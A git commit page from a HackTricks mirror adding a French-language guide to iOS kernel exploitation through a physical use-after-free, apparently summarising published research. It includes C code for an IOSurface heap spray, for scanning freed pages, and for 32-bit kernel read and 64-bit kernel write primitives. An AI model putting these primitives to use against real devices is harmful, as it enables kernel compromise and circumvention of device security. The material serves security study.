mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to fr
This commit is contained in:
parent
9fea6d023a
commit
cc0f66b2f8
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Utilisation physique après libération
|
||||
|
||||
Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) de plus, des informations supplémentaires sur l'exploit utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Gestion de la mémoire dans XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
|
||||
|
||||
#### Niveaux des tables de pages dans iOS
|
||||
|
||||
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
|
||||
|
||||
1. **Table de pages L1 (Niveau 1)** :
|
||||
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
||||
* Elle couvre **0x1000000000 octets** (ou **256 Go**) de mémoire virtuelle.
|
||||
2. **Table de pages L2 (Niveau 2)** :
|
||||
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 octets** (32 Mo).
|
||||
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
||||
3. **Table de pages L3 (Niveau 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
|
||||
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
||||
|
||||
#### Mapping de la mémoire virtuelle à la mémoire physique
|
||||
|
||||
* **Mapping direct (Mapping par bloc)** :
|
||||
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
|
||||
* **Pointeur vers la table de pages enfant** :
|
||||
* Si un contrôle plus fin est nécessaire, une entrée dans un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
|
||||
|
||||
#### Exemple : Mapping d'une adresse virtuelle
|
||||
|
||||
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
|
||||
1. **Table L1** :
|
||||
* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2.
|
||||
2. **Table L2** :
|
||||
* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, elle y procède.
|
||||
3. **Table L3** :
|
||||
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
|
||||
|
||||
#### Exemple de mapping d'adresse
|
||||
|
||||
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
||||
|
||||
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**.
|
||||
* C'est un **mapping par bloc** au niveau L2.
|
||||
|
||||
Alternativement, si l'entrée L2 pointe vers une table L3 :
|
||||
|
||||
* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
|
||||
|
||||
### Utilisation physique après libération
|
||||
|
||||
Une **utilisation physique après libération** (UAF) se produit lorsque :
|
||||
|
||||
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
|
||||
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
|
||||
3. Le processus **désalloue** (libère) la mémoire.
|
||||
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
||||
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**.
|
||||
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
|
||||
|
||||
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
|
||||
|
||||
### Stratégie d'exploitation : Spray de tas
|
||||
|
||||
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
|
||||
|
||||
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau.
|
||||
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier.
|
||||
3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
|
||||
4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**.
|
||||
|
||||
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Processus de spray de tas étape par étape
|
||||
|
||||
1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
||||
2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
|
||||
3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
|
||||
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
|
||||
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
|
||||
|
||||
Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard :
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Recherchez des objets **`IOSurface`** dans une page physique libérée :
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
|
||||
|
||||
Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**.
|
||||
|
||||
**Champs clés dans IOSurface**
|
||||
|
||||
L'objet IOSurface a deux champs cruciaux :
|
||||
|
||||
1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**.
|
||||
2. **Pointeur d'horodatage indexé** : Permet une **écriture de 64 bits**.
|
||||
|
||||
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
|
||||
|
||||
#### Lecture du noyau de 32 bits
|
||||
|
||||
Pour effectuer une lecture :
|
||||
|
||||
1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
|
||||
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### Écriture du noyau 64 bits
|
||||
|
||||
Pour effectuer une écriture :
|
||||
|
||||
1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible.
|
||||
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Récapitulatif du Flux d'Exploitation
|
||||
|
||||
1. **Déclencher une Utilisation-Après-Libération Physique** : Les pages libérées sont disponibles pour réutilisation.
|
||||
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
|
||||
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
|
||||
4. **Abuser de l'Utilisation-Après-Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **kernel** arbitraire via les méthodes IOSurface.
|
||||
|
||||
Avec ces primitives, l'exploit fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).
|
Loading…
Reference in a new issue